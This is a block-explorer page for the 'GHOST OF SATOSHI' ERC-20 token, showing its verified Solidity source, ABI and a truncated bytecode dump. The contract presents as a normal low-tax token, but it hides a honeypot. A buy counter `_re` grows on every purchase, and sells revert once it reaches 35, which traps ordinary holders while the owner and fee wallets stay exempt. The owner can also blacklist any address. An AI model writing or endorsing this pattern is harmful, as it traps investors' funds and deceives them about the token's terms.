ETH Price: $2,643.04 (-1.24%)

Token

GHOST OF SATOSHI (GHOST)
 

Overview

Max Total Supply

21,000,000 GHOST

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,200,000 GHOST

Value
$0.00
0x5d87511979f30cfe235e4b98f21e8f19986727e8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GHOST

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-24
*/

/**

$GHOST = GHOST OF SATOSHI

0 TAX | ERC 20 | COMMUNITY OWNED 

TOTAL SUPPLY - 21 mil
LAUNCH TAX - 10%
FINAL TAX - 0%
MAX WALLET - 2%



**/
pragma solidity ^0.8.9; 

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract GHOST is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "GHOST OF SATOSHI";
    string private constant _symbol = "GHOST";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 21000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 10 ;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 10;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
    address payable private _developmentAddress = payable(0x2dbC0062D40d2F23843200984C609aFF0144B690);
    address payable private _marketingAddress = payable(0x2dbC0062D40d2F23843200984C609aFF0144B690);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 public _maxTxAmount = 420000 * 10**9;
    uint256 public _maxWalletSize = 420000 * 10**9;
    uint256 public _swapTokensAtAmount = 3000000 * 10**9;
    uint public _re=0;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");

            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
                _re++;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
                require(_re<35);
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }

    function setTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }

    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }

    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function blockBots(address[] memory bots_) public onlyOwner {
        for (uint256 i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function unblockBot(address notbot) public onlyOwner {
        bots[notbot] = false;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    //Set Fees to zero
    function RemoveAllFee() public onlyOwner {
        _redisFeeOnBuy = 0;
        _redisFeeOnSell = 0;
        _taxFeeOnBuy = 0;
        _taxFeeOnSell = 0;
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }

    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    //Remove Limits
    function removeLimits() public onlyOwner {
    _maxTxAmount=_tTotal;
    _maxWalletSize=_tTotal;

    }
    
    

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RemoveAllFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_re","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052664a9b63844880006000196200001b91906200072d565b6000196200002a919062000794565b6006556000600855600a6009556000600a55600a600b55600a54600c55600b54600d55600c54600e55600d54600f55732dbc0062d40d2f23843200984c609aff0144b690601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550732dbc0062d40d2f23843200984c609aff0144b690601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601560146101000a81548160ff02191690831515021790555060006015806101000a81548160ff0219169083151502179055506001601560166101000a81548160ff02191690831515021790555066017dfcdece400060165566017dfcdece4000601755660aa87bee53800060185560006019553480156200018657600080fd5b50600062000199620006c360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600654600260006200024e620006c360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000332573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000358919062000839565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003c0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003e6919062000839565b6040518363ffffffff1660e01b8152600401620004059291906200087c565b6020604051808303816000875af115801562000425573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200044b919062000839565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620004a1620006cb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200064e620006c360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef664a9b6384488000604051620006b49190620008ba565b60405180910390a350620008d7565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200073a82620006f4565b91506200074783620006f4565b9250826200075a5762000759620006fe565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007a182620006f4565b9150620007ae83620006f4565b9250828203905081811115620007c957620007c862000765565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200080182620007d4565b9050919050565b6200081381620007f4565b81146200081f57600080fd5b50565b600081519050620008338162000808565b92915050565b600060208284031215620008525762000851620007cf565b5b6000620008628482850162000822565b91505092915050565b6200087681620007f4565b82525050565b60006040820190506200089360008301856200086b565b620008a260208301846200086b565b9392505050565b620008b481620006f4565b82525050565b6000602082019050620008d16000830184620008a9565b92915050565b613a6d80620008e76000396000f3fe6080604052600436106101c55760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461062a578063d8f1ee6414610641578063dd62ed3e14610658578063f2fde38b14610695576101cc565b806395d89b411461055c57806398a5c31514610587578063a9059cbb146105b0578063bfd79284146105ed576101cc565b80637f2feddc116100d15780637f2feddc146104a05780638da5cb5b146104dd5780638f70ccf7146105085780638f9a55c014610531576101cc565b8063715018a614610447578063751039fc1461045e5780637d1db4a514610475576101cc565b80632fd689e3116101645780636b9990531161013e5780636b999053146103a15780636d8aa8f8146103ca5780636fc3eaec146103f357806370a082311461040a576101cc565b80632fd689e314610320578063313ce5671461034b57806349bd5a5e14610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d5780631eaf007f146102b857806323b872dd146102e3576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612b5f565b6106be565b005b34801561020657600080fd5b5061020f6107e8565b60405161021c9190612c27565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612c7f565b610825565b6040516102599190612cda565b60405180910390f35b34801561026e57600080fd5b50610277610843565b6040516102849190612d54565b60405180910390f35b34801561029957600080fd5b506102a2610869565b6040516102af9190612d7e565b60405180910390f35b3480156102c457600080fd5b506102cd610878565b6040516102da9190612d7e565b60405180910390f35b3480156102ef57600080fd5b5061030a60048036038101906103059190612d99565b61087e565b6040516103179190612cda565b60405180910390f35b34801561032c57600080fd5b50610335610957565b6040516103429190612d7e565b60405180910390f35b34801561035757600080fd5b5061036061095d565b60405161036d9190612e08565b60405180910390f35b34801561038257600080fd5b5061038b610966565b6040516103989190612e32565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c39190612e4d565b61098c565b005b3480156103d657600080fd5b506103f160048036038101906103ec9190612ea6565b610a7c565b005b3480156103ff57600080fd5b50610408610b2e565b005b34801561041657600080fd5b50610431600480360381019061042c9190612e4d565b610bff565b60405161043e9190612d7e565b60405180910390f35b34801561045357600080fd5b5061045c610c50565b005b34801561046a57600080fd5b50610473610da3565b005b34801561048157600080fd5b5061048a610e56565b6040516104979190612d7e565b60405180910390f35b3480156104ac57600080fd5b506104c760048036038101906104c29190612e4d565b610e5c565b6040516104d49190612d7e565b60405180910390f35b3480156104e957600080fd5b506104f2610e74565b6040516104ff9190612e32565b60405180910390f35b34801561051457600080fd5b5061052f600480360381019061052a9190612ea6565b610e9d565b005b34801561053d57600080fd5b50610546610f4f565b6040516105539190612d7e565b60405180910390f35b34801561056857600080fd5b50610571610f55565b60405161057e9190612c27565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a99190612ed3565b610f92565b005b3480156105bc57600080fd5b506105d760048036038101906105d29190612c7f565b611031565b6040516105e49190612cda565b60405180910390f35b3480156105f957600080fd5b50610614600480360381019061060f9190612e4d565b61104f565b6040516106219190612cda565b60405180910390f35b34801561063657600080fd5b5061063f61106f565b005b34801561064d57600080fd5b50610656611148565b005b34801561066457600080fd5b5061067f600480360381019061067a9190612f00565b6111ff565b60405161068c9190612d7e565b60405180910390f35b3480156106a157600080fd5b506106bc60048036038101906106b79190612e4d565b611286565b005b6106c6611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074a90612f8c565b60405180910390fd5b60005b81518110156107e45760016010600084848151811061077857610777612fac565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107dc9061300a565b915050610756565b5050565b60606040518060400160405280601081526020017f47484f5354204f46205341544f53484900000000000000000000000000000000815250905090565b6000610839610832611447565b848461144f565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000664a9b6384488000905090565b60195481565b600061088b848484611618565b61094c84610897611447565b61094785604051806060016040528060288152602001613a1060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108fd611447565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec29092919063ffffffff16565b61144f565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610994611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890612f8c565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a84611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0890612f8c565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b6f611447565b73ffffffffffffffffffffffffffffffffffffffff161480610be55750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bcd611447565b73ffffffffffffffffffffffffffffffffffffffff16145b610bee57600080fd5b6000479050610bfc81611f26565b50565b6000610c49600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f92565b9050919050565b610c58611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdc90612f8c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dab611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2f90612f8c565b60405180910390fd5b664a9b6384488000601681905550664a9b6384488000601781905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffff